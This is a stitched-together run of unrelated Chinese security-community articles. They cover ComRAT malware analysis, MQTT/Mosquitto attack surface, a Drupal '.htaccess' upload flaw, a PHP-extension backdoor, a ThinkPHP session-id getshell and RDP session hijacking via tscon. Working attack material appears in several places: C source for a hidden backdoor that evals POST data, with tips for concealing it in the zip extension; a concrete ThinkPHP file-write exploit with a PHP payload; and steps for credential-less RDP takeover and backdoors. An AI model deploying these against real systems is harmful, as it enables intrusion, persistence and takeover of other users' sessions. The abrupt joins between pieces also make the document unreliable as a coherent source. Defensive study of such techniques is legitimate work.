基于ESET遥测，我们认为ComRAT是通过现有立足点（例如，受感染的凭据）或另一个Turla后门进行安装的。如：根据2019年描述的基于PowerShell的后门程序可以看到[PowerStallion](https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/)安装了ComRAT 。
ComRAT安装程序是一个PowerShell脚本，可创建Windows计划的任务并用加密的有效负载填充注册表值。
ComRAT v4具有以下几个组件：
* 编排到explorer.exe中的协调器。它控制大多数ComRAT功能，包括后门命令的执行。
* 通信模块（DLL）由协调器注入到默认浏览器中。它使用类似的命名来协调器通信。
* 一个虚拟FAT16文件系统，其中包含配置和日志文件。
下图是ComRAT架构的概述。
ComRAT v4具有两个不同的C＆C通道：HTTP和使用Gmail Web界面的电子邮件。
在后一种模式下，使用配置中存储的cookie，它会连接到Gmail网络界面，以检查收件箱并下载包含加密命令的特定邮件附件。这些命令由恶意软件操作员从另一个地址发送，该地址通常托管在其他免费电子邮件提供商（例如GMX）上。
所有组件的详细技术分析可见[白皮书](https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf)。
## 结论
ComRAT
v4是于2017年发布的经过全面改造的恶意软件系列。其开发人员从Snake等其他Turla后门获得灵感，以构建非常复杂的恶意软件，有趣的是使用Gmail网络用户界面来接收命令和提取数据。因此，它可以绕过某些安全控制，不需要依赖于任何恶意的域。我们还注意到，此版本放弃了之前持久性使用COM对象，转而使该恶意软件具有了通用名称。
目前仍有迹象显示ComRAT
v4仍在使用，这表明Turla小组仍然非常活跃，其已经对外交官和军队构成了重大威胁。更多信息可在完整的[白皮书](https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf)和[GitHub存储库](https://github.com/eset/malware-ioc/tree/master/turla#turla-comrat-v4-indicators-of-compromise
"GitHub存储库")中查看。
## MITRE ATT&CK 技术
Tactic | Id | Name | Description
---|---|---|---
Execution | [T1086](https://attack.mitre.org/techniques/T1086/) | PowerShell |
A PowerShell script is used to install ComRAT.
Persistence | [T1053](https://attack.mitre.org/techniques/T1053/) | Scheduled
Task | ComRAT uses a scheduled task to launch its PowerShell loader.
Defense Evasion | [T1027](https://attack.mitre.org/techniques/T1027/) |
Obfuscated Files or Information | The ComRAT orchestrator is stored encrypted
and only decrypted at execution.
[T1055](https://attack.mitre.org/techniques/T1055/) | Process Injection | The
ComRAT orchestrator is injected into explorer.exe . The communication DLL is
injected into the default browser. |
[T1112](https://attack.mitre.org/techniques/T1112/) | Modify Registry | The
ComRAT orchestrator is stored encrypted in the Registry. |
Discovery | [T1016](https://attack.mitre.org/techniques/T1016/) | System
Network Configuration Discovery | Operators execute ipconfig and nbstat .
[T1033](https://attack.mitre.org/techniques/T1033/) | System Owner/User
Discovery | Operators execute net user . |
[T1069](https://attack.mitre.org/techniques/T1069/) | Permission Groups
Discovery | Operators execute net group /domain . |
[T1082](https://attack.mitre.org/techniques/T1082/) | System Information
Discovery | Operators execute systeminfo . |
[T1083](https://attack.mitre.org/techniques/T1083/) | File and Directory
Discovery | Operators list the content of several directories. Example: dir
/og-d "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent*.*" . |
[T1087](https://attack.mitre.org/techniques/T1087/) | Account Discovery |
Operators execute net user and net group . |
[T1120](https://attack.mitre.org/techniques/T1120/) | Peripheral Device
Discovery | Operators execute fsutil fsinfo drives to list the connected
drives. |
[T1135](https://attack.mitre.org/techniques/T1135/) | Network Share Discovery
| Operators execute net view . |
Collection | [T1213](https://attack.mitre.org/techniques/T1213/) | Data from
Information Repositories | The Operators use a custom tool to exfiltrate
documents from an internal central database.
Command and Control | [T1024](https://attack.mitre.org/techniques/T1024/) |
Custom Cryptographic Protocol | ComRAT uses RSA and AES to encrypt C&C data.
[T1043](https://attack.mitre.org/techniques/T1043/) | Commonly Used Port |
ComRAT uses ports 80 and 443. |
[T1071](https://attack.mitre.org/techniques/T1071/) | Standard Application
Layer Protocol | ComRAT uses HTTP and HTTPS. |
[T1102](https://attack.mitre.org/techniques/T1102/) | Web Service | ComRAT can
be controlled via the Gmail web UI. |
Exfiltration | [T1002](https://attack.mitre.org/techniques/T1002/) | Data
Compressed | The documents are compressed in a RAR archive.
[T1022](https://attack.mitre.org/techniques/T1022/) | Data Encrypted | The RAR
archive is encrypted with a password. |
[T1048](https://attack.mitre.org/techniques/T1048/) | Exfiltration Over
Alternative Protocol | Data is exfiltrated to cloud storage, mounted locally
using the net usecommand. |
* * * | 社区文章 |
**作者: 360漏洞研究院 苏熙杰
原文链接：<https://vul.360.net/archives/649>**
## 前言
在很多IOT设备中默认存在MQTT服务，这是一个值得关注的攻击面。下面对MQTT协议及其挖掘思路进行分析。
## WHAT?
MQTT是基于TCP/IP协议栈构建的异步通信消息协议，是一种轻量级的发布、订阅信息传输协议。
可在不可靠的网络环境中进行扩展，适用于设备硬件存储空间或网络带宽有限的场景。 使用MQTT协议，消息发送者与接收者不受时间和空间的限制。
物联网平台支持设备使用MQTT协议接入。
## 实现方式
实现MQTT协议需要客户端和服务器端通讯完成，在通讯过程中，MQTT协议中有三种身份：发布者（Publish）、代理（Broker）（服务器）、订阅者（Subscribe）。其中，消息的发布者和订阅者都是客户端，消息代理是服务器，消息发布者可以同时是订阅者。
MQTT传输的消息分为：主题（Topic）和负载（payload）两部分：
（1）Topic，可以理解为消息的类型，订阅者订阅（Subscribe）后，就会收到该主题的消息内容（payload）；
（2）payload，可以理解为消息的内容，是指订阅者具体要使用的内容。
## 开源实现项目 Mosquitto
大部分设备中的MQTT协议实现是基于Mosquitto
改的，如果开源项目本身存在漏洞的话，将影响大部分设备的MQTT组件。下面简单分析下Mosquitto的实现和我们能够接触到的攻击面
### 基本启动方式
流程模块：websocket.c -> read_handle.c
在switch case LWS_CALLBACK_RECEIVE:
### 认证部分security.c
在handle_connect和authentic相关的时候，会执行mosquitto_security_auth_start，通过返回值rc确定数据流
其中mosquitto_security_auth_start 调用auth_start_v4相关
由此可知这个方法恒定返回MOSQ_ERR_SUCCESS,之后会调用到connect__on_authorised，里面的connection_check_acl再调用mosquitto_acl_check函数对权限进行检测
之后的mosquitto_acl_check函数会去配置信息，再根据策略去执行相关的认证函数。
### 网络net处理数据包
net__socket_accept()函数
mux_epoll__handle()函数
最终来自main函数调用的mosquitto_main_loop
回到生成sock本身，最后调用的是epoll_ctrl（epoll库）来生成
#### 数据接收处理的地方
在callback_mqtt() 中： case LWS_CALLBACK_RECEIVE
case LWS_CALLBACK_RECEIVE:
if(!u || !u->mosq){
return -1;
}
mosq = u->mosq;
pos = 0;
buf = (uint8_t *)in;
G_BYTES_RECEIVED_INC(len);
while(pos < len){
if(!mosq->in_packet.command){
mosq->in_packet.command = buf[pos];
pos++;
/* Clients must send CONNECT as their first command. */
if(mosq->state == mosq_cs_new && (mosq->in_packet.command&0xF0) != CMD_CONNECT){
return -1;
}
}
if(mosq->in_packet.remaining_count <= 0){
do{
if(pos == len){
return 0;
}
byte = buf[pos];
pos++;
mosq->in_packet.remaining_count--;
/* Max 4 bytes length for remaining length as defined by protocol.
* Anything more likely means a broken/malicious client.
*/
if(mosq->in_packet.remaining_count < -4){
return -1;
}
mosq->in_packet.remaining_length += (byte & 127) * mosq->in_packet.remaining_mult;
mosq->in_packet.remaining_mult *= 128;
}while((byte & 128) != 0);
mosq->in_packet.remaining_count = (int8_t)(mosq->in_packet.remaining_count * -1);
if(mosq->in_packet.remaining_length > 0){
mosq->in_packet.payload = mosquitto__malloc(mosq->in_packet.remaining_length*sizeof(uint8_t));
if(!mosq->in_packet.payload){
return -1;
}
mosq->in_packet.to_process = mosq->in_packet.remaining_length;
}
}
if(mosq->in_packet.to_process>0){
if((uint32_t)len - pos >= mosq->in_packet.to_process){
memcpy(&mosq->in_packet.payload[mosq->in_packet.pos], &buf[pos], mosq->in_packet.to_process);
mosq->in_packet.pos += mosq->in_packet.to_process;
pos += mosq->in_packet.to_process;
mosq->in_packet.to_process = 0;
}else{
memcpy(&mosq->in_packet.payload[mosq->in_packet.pos], &buf[pos], len-pos);
mosq->in_packet.pos += (uint32_t)(len-pos);
mosq->in_packet.to_process -= (uint32_t)(len-pos);
return 0;
}
}
/* All data for this packet is read. */
mosq->in_packet.pos = 0;
#ifdef WITH_SYS_TREE
G_MSGS_RECEIVED_INC(1);
if(((mosq->in_packet.command)&0xF0) == CMD_PUBLISH){
G_PUB_MSGS_RECEIVED_INC(1);
}
#endif
rc = handle__packet(mosq);
/* Free data and reset values */
packet__cleanup(&mosq->in_packet);
keepalive__update(mosq);
if(rc && (mosq->out_packet || mosq->current_out_packet)) {
if(mosq->state != mosq_cs_disconnecting){
mosquitto__set_state(mosq, mosq_cs_disconnect_ws);
}
lws_callback_on_writable(mosq->wsi);
} else if (rc) {
do_disconnect(mosq, MOSQ_ERR_CONN_LOST);
return -1;
}
}
break;
数据赋值的地方
可惜定死了mosq->in_packet.to_process
## 攻击面
比较明显的攻击面就是Mosquitto本身和自定义的topic。未授权的情况下，组件本身的漏洞产生的点可能来自于数据流的处理，认证相关，如果存在弱密码或者配置文件认证信息写死的情况下，还可以关注topic的攻击面。
MQTT主要有两大版本： v3 和 v5，
MQTT v3 不支持 auth，所以遇到这种版本的相当于可以直接看topic的攻击面
### Mosquitto本身
下面介绍一些Mosquitto的历史漏洞
#### CVE-2021-34434
NULL
point漏洞，该漏洞是授权后的一个数据请求导致的。Client在连接之后可以在数据包中指定context->in_packet.command，handle
**packet函数会根据命令执行相应的函数，如果是CMD_CONNACK命令，将会步入handle**
connack函数中。下图是patch后的代码，可以看出添加了对NULL的检查，如果没有检查的情况下，之后调用context->bridge->name会异常崩溃。
#### CVE-2017-7650
漏洞函数是acl__check_single，由mosquitto_acl_check函数引用，前面提到，mosquitto_acl_check是认证权限相关的函数。当username
带有+#，可以绕过认证check。下图是patch后的代码，添加了对+#的检查
Broker 创建alc 文件可以指定权限配置
user admin
topic readwrite #
user user
topic /iot/user/+
漏洞产生的原因和这个样式有关。
#### CVE-2017-7651
mosquitto__calloc()这类型的的函数是自定义的内存分配函数，patch的地方就是限制了size，如果在没有限制size的情况，通过大量发包，可能导致资源占用过大dos
这个内存分配函数在前期接收数据包并生成mosquitto
context的时候会调用，所以这是一个未授权就可以触发的漏洞。下图是patch后的代码，可以看到添加了大小限制。
### 自定义的topic
#### Mosquito本身的订阅和发布方式
//订阅
mosquitto_sub -h 127.0.0.1 -p 1883 -u admin -P 123 -t "#"
//发布
mosquitto_pub -h 127.0.0.1 -p 1883 -u admin -P 123 -t "/iot/user/pub/" -m "message_to_publish"
把mqtt问题转变成http问题:
Topic = url
Payload = data
Sub <--------> broker (1883)<--------> pub
#### 例子
为了更好的理解sub和pub的关系及其topic的攻击面，可以阅读下面的例子。
在发布者像broker发布(pub)消息的时候，订阅者会接收(sub)到消息并执行回调(callback)函数。所以攻击者就相当于发布者的身份，被攻击的目标就是订阅者的身份，所以自定义topic的攻击面就是订阅者的回调函数。通过到了相应的路由，那么漏洞类型和http相关的类型差不多，可能涉及到逻辑漏洞、命令注入、溢出等。
##### Python实现的小例子
## 总结
本文介绍了MQTT协议和MQTT协议的开源实现Mosquitto，很多设备的mqtt组件都是基于Mosquitto改的，当然还有些是自定义实现的。不管是哪种，我们去挖掘其攻击面无非还是挖掘组件本身和路由(topic)，挖掘的过程可以借鉴Mosquitto的代码和它的框架类型，快速地找到相应的逻辑代码。在实际挖掘过程中发现有些设备的mqtt组件存在协议版本过久和一些配置文件写死的情况，在这种情况下topic的攻击面将大大增加。
### 代码审计
万变不离其宗：字符串大法好！映射函数有可能在so中，也可能在别的service
bin中（根据改写的方式而定），所以如果在单个bin中找不到相应的逻辑，需要在大目录下搜索相关字符串，找到映射路由topic/function
，就可以对应审计了。
比如：
1. 找到一个可确定的topic
2. 定位1883的bin
3. 找引用，比如so库或者system调用后可能申请了子进程
4. 自顶向下和自底向上减少搜索路径
5. 最后确认路由 ……
### Fuzz
思路相通，和http fuzz差不多，还是需要通过逆向找到相应的topic，然后和http fuzz一样怼着topic去发送变异数据包。
* * * | 社区文章 |
# drupal .开头文件名 文件上传
## 前言
通过diff 8.8.1的补丁，很容易发现修复点，位于`core\modules\file\file.module`
补丁在文件名两侧进行了trim(..., '.')，结合漏洞通告可以知道应该是文件名过滤不严导致.开头的文件上传。
## 原生模块分析
漏洞点位于`_file_save_upload_single`函数
function _file_save_upload_single(\SplFileInfo $file_info, $form_field_name, $validators = [], $destination = FALSE, $replace = FileSystemInterface::EXISTS_REPLACE) {
...
// Begin building file entity.
$values = [
'uid' => $user->id(),
'status' => 0,
'filename' => $file_info->getClientOriginalName(),//
'uri' => $file_info->getRealPath(),
'filesize' => $file_info->getSize(),
];
$values['filemime'] = \Drupal::service('file.mime_type.guesser')->guess($values['filename']);
$file = File::create($values);
...
// If we made it this far it's safe to record this file in the database.
$file->save();
...
return $file;
}
全局搜索调用本函数的地方，发现只在`core/modules/file/file.module:file_save_upload()`中被调用。
由于此处不是控制器，无法直接调用，因此继续反向追踪调用此函数的位置。在多处找到调用，比如位于`core/modules/update/src/Form/UpdateManagerInstall.php:submitForm()`，这是update模块的updatemanagerinstall表单。
public function submitForm(array &$form, FormStateInterface $form_state) {
$local_cache = NULL;
$all_files = $this->getRequest()->files->get('files', []);
if ($form_state->getValue('project_url')) {
...
}
elseif (!empty($all_files['project_upload'])) {
$validators = ['file_validate_extensions' => [$this->archiverManager->getExtensions()]];
if (!($finfo = file_save_upload('project_upload', $validators, NULL, 0, FileSystemInterface::EXISTS_REPLACE))) {
// Failed to upload the file. file_save_upload() calls
// \Drupal\Core\Messenger\MessengerInterface::addError() on failure.
return;
}
$local_cache = $finfo->getFileUri();
}
这里的$validators通过`$this->archiverManager->getExtensions()`调用archiver管理器进行取值，由于这里设计很多内部成员变量，因此通过调试的方式来分析会快一些。下面就开始尝试构造路由到这个update模块。
通过在update模块根目录下的`update.routing.yml`路由文件可以发现相应的路由：
尝试上传.htaccess
果然受到了限制，下面调试跟进这个$validators是如何取值的。最终跟进`core/lib/Drupal/Component/Annotation/Plugin/Discovery/AnnotatedClassDiscovery.php:getDefinitions()`方法，这里通过遍历所有module目录下的`src/plugin/archiver/`下的所有php文件，然后解析这个php文件的annotation。调试后发现只有system模块下存在这个目录：
可以看到这里的annotation中限定了后缀名为`{"tar", "tgz", "tar.gz", "tar.bz2"}`
到这里就可以停止调试了，这个update模块由于限制了后缀名，无法满足我们的条件。下面再找一些$validators的值不是`$this->archiverManager->getExtensions()`的模块。
发现`core/modules/image/src/Controller/QuickEditImageController.php:upload()`
public function upload(EntityInterface $entity, $field_name, $langcode, $view_mode_id) {
$field = $this->getField($entity, $field_name, $langcode);
$field_validators = $field->getUploadValidators();
$field_settings = $field->getFieldDefinition()->getSettings();
$destination = $field->getUploadLocation();
// Add upload resolution validation.
if ($field_settings['max_resolution'] || $field_settings['min_resolution']) {
$field_validators['file_validate_image_resolution'] = [$field_settings['max_resolution'], $field_settings['min_resolution']];
}
// Create the destination directory if it does not already exist.
if (isset($destination) && !$this->fileSystem->prepareDirectory($destination, FileSystemInterface::CREATE_DIRECTORY)) {
return new JsonResponse(['main_error' => $this->t('The destination directory could not be created.'), 'errors' => '']);
}
// Attempt to save the image given the field's constraints.
$result = file_save_upload('image', $field_validators, $destination);
...
这里的$validators是通过`$field->getUploadValidators()`来取值的，跟之前的module同样的思路，先构造路由然后进行调试跟进。
访问`quickedit/image/upload/node/1/field_image/en/full`映射到本控制器，然后跟进getUploadValidators()。经过一系列跟进之后发现配置在config表中，sql语句大概是`SELECT
name, data FROM config WHERE collection = '' AND name
='field.field.node.article.field_image';`
剩下的调用`file_save_upload`的地方也都做了验证，没有可以利用的地方，都限制了文件后缀名。
## 第三方模块分析
看完所有调用点之后有点怀疑人生，会不会是类似于CVE-2018-7600那样，durpal6中虽然有漏洞，但是没找到错误的写法从而无法利用？通过再次阅读官方通告之后发现也许真是这样，但是幸运的是...
意思大概是通过第三方contributed模块可能导致.htaccess文件上传？
然后我尝试在第三方模块中寻找与文件上传相关的模块，找到了一个名为imce的文件/图片管理模块
> IMCE is an image/file uploader and browser that supports personal
> directories and quota.
安装完毕之后直接访问路径`/imce/public`即可获得一个管理界面（后台）。
上传.php文件会自动在后面加上.txt后缀。尝试上传.htaccess
然而这只是个前端过滤而已，通过抓包修改文件名即可成功上传。
通过阅读源码发现`opUpload()`方法调用了`file_save_upload()`进行文件上传。
public function opUpload(ImceFM $fm) {
...
$validators = [];
// Extension validator
$exts = $fm->getConf('extensions', '');
$validators['file_validate_extensions'] = [$exts === '*' ? NULL : $exts];
...
// Save files
if ($files = file_save_upload('imce', $validators, $destination, NULL, $replace)) {
其中后缀名$validators从`$fm->getConf('extensions','')`获取。跟踪源码后发现，也是从config表中找到imce
模块的一些配置
由于$validators是*，即为不限制后缀名，从而造成.htaccess文件上传。
## 补丁
通过diff 8.8.1的补丁，很容易发现修复点，位于`core\modules\file\file.module`
补丁在文件名两侧进行了trim(..., '.')。
上传之后变成
## 参考
<https://www.drupal.org/sa-core-2019-010> | 社区文章 |
#### 杂想
也叫做PHP扩展后门,前几天看P师傅实现出来了[arbitrary-php-extension](https://github.com/phith0n/arbitrary-php-extension).
其实很早就有这个想法了,断断续续去看了几个月的PHP内核,也有了实现基本功能的能力了,但是由于懒一直没有下手...直到看到P师傅的仓库才发现,糟糕撞思路了!赶忙抽了个周末晚上的空,花了几个小时去踩了这个坑.
目前大部分此类后门的实现效果都是做成跟诸如菜刀,antSword兼容的类脚本webshell.个人感觉是大材小用了,并且通过查询日志等信息,也容易被发现.我认为其实可以拓展一下,比如说在HTTP请求夹杂一些畸形请求,让日志无法匹配到header.这些还只是初步想法,等入门协议再尝试.
#### 记录
##### PHP SAPI的生命周期
整个流程很简单,在启动了CLI(SAPI)后,会调用一次所有模块的模块初始化函数(MINIT),然后当有请求的时候,调用一次所有模块的请求初始化函数(RINIT),然后执行PHP脚本,然后执行对应的销毁函数.
所以我们只要在请求初始化函数(RINIT)接受参数并且执行,就可以达到类似webshell的效果了.
##### PHP拓展开发
乌云之前也有PHP拓展后门相关的翻译文章.其实国外很早就有大牛已经实现了.
这是一个最简单的例子,是在PHP5上的拓展后门:
<https://github.com/akamajoris/php-extension-backdoor/>
由于PHP7函数变动,我们得自己重新实现一个兼容PHP7版本的RINIT函数.
PHP_RINIT_FUNCTION(ftp)
{
char* method = "_POST";
char* secret_string = "execute";
#if PHP_MAJOR_VERSION < 7
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) == SUCCESS) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) == SUCCESS) {
code = Z_STRVAL_PP(val);
}
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC);
}
#else
zval* arr,*code =NULL;
if (arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)) {
if (Z_TYPE_P(arr) == IS_ARRAY && (code = zend_hash_str_find(Z_ARRVAL_P(arr), secret_string, strlen(secret_string)))) {
zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
}
}
#endif
return SUCCESS;
}
而国内也曾有过相关文章:
<https://www.freebuf.com/articles/web/141911.html>
文末,作者抛出一些思路
>
> 如果系统禁用了eval等函数，还需要通过在后门中加入模块初始化函数(PHP_MINIT_FUNCTION)，动态修改php.ini以达到绕过disable_function的目的,另外，为了更好地隐藏自身，还需要在伪装性上下点功夫，比如利用同形异义字欺骗用户的眼睛，比如使得模块名不在php
> -m中显示等，当然这是后话，希望后续能有这样的文章出现。
思考了一下这个问题,我这里就不使用spoof这种思路了.我认为新开一个进程肯定没有注入进程性价比高.所以不如直接往一个PHP默认的拓展库中加点料.
在尝试了很久后发现,[PHP source](https://github.com/php/php-src)中的很多extension都没有办法直接一步到位的编译成动态链接库.最后手工fuzz了一下.
发现 `ext/zip` 这个拓展符合我的预期,可以直接编译成动态链接库十分方便.
直接修改`php_zip.c`中的代码:
这里我添加了一个`PHP_RINIT_FUNCTION`,也就是请求初始化函数.将其添加到`zip_module_entry`中.
最后分别用PHP5.6以及PHP7.2编译出动态链接库.
修改PHP.ini将zip.so添加.
#### 效果
##### PHP5.6
##### PHP7.2
#### 结束
最后思考了一下,觉得这个后门优缺点都有.首先肯定是相对于传统webshell,隐蔽性提高了不止一点半天,但是其原理最终还是进zend解析执行PHP代码,所以当面对未来可能流行的RASP技术的时候还是无力对抗,并且开发成本偏高,需要掌握语言的底层开发.不过目前为止的文章都是实现webshell形式,个人认为这其实是一种作茧自缚的行为.作为算得上是PHP
rootkit的后门,应该身处更底层,而不是将维度放在应用层.
我们可以发散一下思维,亮神的文章中也提及了不少,这里就延伸了:
<https://blog.csdn.net/micropoor/article/details/8783499>
这种后门的防御手段也很简单,比较一下sha1就行了. | 社区文章 |
# Thinkphp < 6.0.2 session id未作过滤导致getshell
## 0x00 前言
2020年1月13号，Thinkphp 6.0.2发布，在详情页指出修复了一处`Session安全隐患`。
经分析，如果使用tp框架的程序写法不当，会造成getshell。
## 0x01 分析
通过diff github上面的6.0.1和6.0.2的代码可以发现，6.0.1在设置`session
id`时未对值进行`ctype_alnum()`校验，从而导致可以传入任意字符。
传入任意字符会有什么危害？一般来说程序可能会以session
id作为文件名来创建对应的session文件，但是到目前为止这只是猜测。看一下保存session是怎么写的。
public function save(): void
{
$this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) {
$data = $this->serialize($this->data);
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}
$this->init = false;
}
先获取sessionid，然后作为第一个参数传入`$this->handler->write()`。`$this->handler`在构造函数中被初始化
public function __construct($name, SessionHandlerInterface $handler, array $serialize = null)
{
$this->name = $name;
$this->handler = $handler;
if (!empty($serialize)) {
$this->serialize = $serialize;
}
$this->setId();
}
可以看出`$handler`的类型是`SessionHandlerInterface`，全局发现这是一个接口，实现这个接口的类有两个，一个是`File`，一个是`Cache`。这里以`File`类为例，我们跟进它的`write()`方法
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;
if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
return $this->writeFile($filename, $data);
}
这里先通过第一个参数（也就是session
id）来构造`$filename`，然后判断是否需要对session数据进行压缩，默认是不需要的，最后return时调用`$this->writeFile()`。先看看文件名是如何构造的，跟进`$this->getFileName()`
protected function getFileName(string $name, bool $auto = false): string
{
if ($this->config['prefix']) {
$name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;
}
$filename = $this->config['path'] . $name;
...
return $filename;
}
这里直接将第一个参数拼接到路径的最后。跟进之前的`$this->writeFile()`方法
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}
刺激了，这里直接保存了文件。纵观全局，由于程序未对session id进行危险字符判断，只要将session
id写为类似于`xxxx.php`的格式，即可导致session保存成`.php`文件，从而getshell。
## 0x02 利用
通过全局搜索`setId`发现在`think/middleware/SessionInit.php:handle():L59`发生了调用。
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();
if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}
if ($sessionId) {
$this->session->setId($sessionId);
}
...
由于`session.var_session_id`默认是空，这里的`$sessionId`的值由`$request->cookie($cookieName)`获得，`$cookieName`经过跟进后发现默认是PHPSESSID。
因此我们只要设置Cookie中的PHPSESSID的值为1234567890123456789012345678.php即可。
## 0x03 怎么写会导致漏洞？
在index控制器中添加如下action
public function testsession2(){
$username = Request::get('name');
Session::set('username', $username);
return 'hi';
}
用于获取name参数，并将之设置到session中。
访问url：`http://127.0.0.1/tp6/public/index.php/index/testsession2?name=<?php%20phpinfo();?>`
访问session文件，一般位于项目根目录下的`./runtime/session/`文件夹下，也就是`/runtime/session/sess_1234567890123456789012345678.php`
## 0x04 补丁
在6.0.2中，对session
id使用了`ctype_alnum()`进行了判断，导致无法传递`.`等特殊字符，从而无法控制session文件为`.php`后缀。 | 社区文章 |
[https://github.com/vulnersCom/getsploit
](https://github.com/vulnersCom/getsploit) 支持 Exploit-DB, Metasploit,
Packetstorm 等来源
安装命令:
git clone https://github.com/vulnersCom/getsploit
附图:
[
[ | 社区文章 |
# RDP劫持：如何透明劫持RDS以及RemoteApp会话
##### 译文声明
本文是翻译文章，文章原作者 Kevin Beaumont，文章来源：medium.com
原文地址：<https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
本文介绍了如何不依赖外部软件，通过远程桌面服务（Remote Desktop Services）在目标网络进行横向渗透，同时也介绍了如何防御这种攻击手段。
上图中，Alexander Korznikov向我们展示了如何使用粘滞键（Sticky
Keys）以及`tscon`来访问管理员的RDP会话，这种操作并不需要登录到服务器中。
## 二、RDP会话连接简介
在远程桌面服务中（如果你和我一样都是老男孩的话，说不定还记得另一个叫法：Terminal
Services（终端服务）），如果我们想连接到另一个用户所在的会话，必须知道该用户的密码。但其实我们也可以在不掌握用户密码的情况下劫持会话，具体方法可以参考下文分析。
我们可以在任务管理器中右键点击某个用户、使用`tsadmin.msc`或者使用`tscon.exe`命令来间接目标会话，此时系统会要求我们输入用户密码，如果认证失败，则弹出错误信息。
## 三、无凭据时的会话劫持技巧
[Benjamin Delpy](http://blog.gentilkiwi.com/securite/vol-de-session-rdp)（Mimikatz作者）以及[Alexander
Korznikov](http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html)分别在2011年以及周五提到，如果我们以SYSTEM用户身份运行`tscon.exe`，
**我们就可以连接到任何会话，无需输入密码信息**
。系统不会要求我们输入密码，而会让我们直接连接到用户的桌面。我认为之所以出现这种现象，原因在于Windows对session
shadowing（会话重影）的具体实现方式，这种现象已经持续了多年之久。
现在有些人可能会说：“如果我们具备SYSTEM权限，我们就已经是root身份了，可以为所欲为，为何要多此一举呢？”
是的，这种想法没有问题。比如说，我们可以导出服务器的内存，然后再获取用户密码。不过这个攻击路径有点长，相比之下，`tscon.exe`只需要使用目标会话编号，就能立刻获取目标用户的桌面，并且不会留下明显的痕迹，也不需要使用外部工具。这种操作的重点并不是SYSTEM权限，而是如何在该权限下快速且隐蔽地达成目的。攻击者并不喜欢玩游戏，只关心如何在现有技术下迅速完成任务，总而言之这是一项非常有效的技术。
因此，我们只需要使用一条命令就可以劫持RDP会话。
关于这种技巧，我们需要知道如下一些小贴士：
1、我们可以连接到已断开的会话。因此如果某些用户已于3天之前登出，我们可以直接连接并使用他们所在的会话。
2、该方法可以解锁处于锁定状态下的会话。因此如果某个用户离开办公台位，我们可以窃取他们的会话，在不需要任何凭据的前提下解锁“工作站”。
3、该方法对于物理控制台同样适用。因此我们可以远程劫持屏幕，也能解锁物理控制台。
4、我们可以连接到任何会话。因此如果目标是帮助台，我们可以在不掌握任何凭据的情况下成功连接，如果是域管（Domain
Admin）那再好不过。由于我们可以连接到已断开的会话，因此通过这种方法我们可以轻松在目标网络中横向渗透。
5、我们可以使用win32k
SYSTEM漏洞利用技术（网上可以查到各种途径来获取SYSTEM权限），然后再使用这种方法。也就是说，即使我们是普通用户，如果系统没有打全补丁我们就能见缝插针。条条大路通罗马，只要能搞定SYSTEM权限（比如有各种方法可以获取本地管理员权限）就万事大吉。
6、不需要使用外部工具。因此不用去在意是否存在应用白名单机制，整个过程不会有可执行文件写入磁盘中。
7、除非目标了解需要监控哪些方面（下文会介绍具体方法），不然一切对他们来说都是透明的。
8、这种方法可以远程操作。即使我们没有登录到目标服务器，我们也可以接管远程主机上的会话。
## 四、获取SYSTEM权限下的tscon.exe
如果我们具备管理员权限，就可以根据Alexander介绍的一种方法来创建服务，完成任务：
实际上这种方法操作起来非常简单，只需要使用`quser`命令获取待劫持的会话ID以及自己的SESSIONNAME（会话名），然后使用这些信息来运行`tscon`即可。这样操作后我们自己的会话会被替换成目标会话。默认情况下该服务会以SYSTEM权限运行，这样就实现了我们的目标。
如果你的动机不纯，请记得在操作结束后删除该服务。
在Windows Server 2012 R2服务器上的操作过程如下所示：
<http://v.youku.com/v_show/id_XMzQ3NjI3MTkxMg==.html>
其他方法：
1、我们可以使用计划任务（Scheduled
Tasks）来获取SYSTEM权限然后再运行命令，具体方法是将该命令安排为计划任务，以SYSTEM身份交互式运行即可。
2、也可以使用各种方法（如粘滞键）来获取SYSTEM权限，这种方法甚至不需要登录到系统中，具体见下文介绍。
3、利用漏洞（如前文所述）。
## 五、横向渗透
大多数组织都会在内部网络中开放远程桌面服务，这也是现在Windows的管理方式，此外RemoteApp也会使用RDP服务。正因为如此，这也是在目标网络环境中自由穿梭的绝佳方法，即使没有密码，我们也能横行四方，滥用其他人的访问权限。在目标的日志中，我们会以目标用户的身份出现，不涉及自己的信息。
## 六、如何创建无凭据劫持型后门
暴力破解远程桌面是一个比较严重的问题。只要正确搭建蜜罐，任何人都可以看到失败的RDP登录尝试行为。攻击者首先会进行端口扫描，然后发起数以千计的登录请求。
现在情况变得更加糟糕，我自己也在维护一个蜜罐，当我发现攻击者突破远程桌面后，他们会使用如下技术在系统中植入后门。
